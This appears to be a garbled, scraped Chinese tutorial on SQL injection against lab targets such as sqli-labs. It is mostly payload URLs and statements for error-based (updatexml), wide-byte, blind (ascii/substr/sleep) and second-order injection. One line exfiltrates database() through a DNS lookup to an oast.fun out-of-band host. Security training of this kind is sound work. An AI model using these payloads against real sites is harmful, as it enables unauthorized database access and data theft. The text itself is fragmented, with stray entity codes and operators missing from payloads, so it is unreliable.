第一步#xff1a;判断目标站点#xff0c;…一、Sql注入简介

Sql

服务器上解析执行进行的攻击它目前黑客对数据库进行攻击的最常用手段之一。

向页面传入一些指令

使用information_schema库中的columns表

select

updatexml(1,concat(%,database()),1)

select

updatexml(1,concat(!,database()),1)

qqqqqq

updatexml(1,concat(~,version()),2)

qqqqqqq

http://www.sqli.zz/Less-32/?id-1%df%27%20%2%20%20union%20select%201,2,3%20--

4.DNS外带注入又称之为

database()),.chvgntf2vtc0000j9mmgge7apeeyyyyyd.oast.fun/123))

5.盲注

http://www.sqli.zz/Less-8/?id1%27

构造语句

http://www.sqli.zz/Less-8/?id-1

length(database())

http://www.sqli.zz/Less-8/?id-1

ascii(substr(database(),1,1))100

第一个字符

http://www.sqli.zz/Less-8/?id-1

mid(database(),1,1)a

ascii(substr(database(),1,1))97),sleep(3),0)--

六、二次注入

https://tool.chinaz.com/tools/base64.aspx

判断注入方式

http://www.kpl.zz/index.php?idnull%20AnD%201.01.0%20--

变量覆盖

http://www.kpl.zz/index.php?id1%00id2%20--

id1id2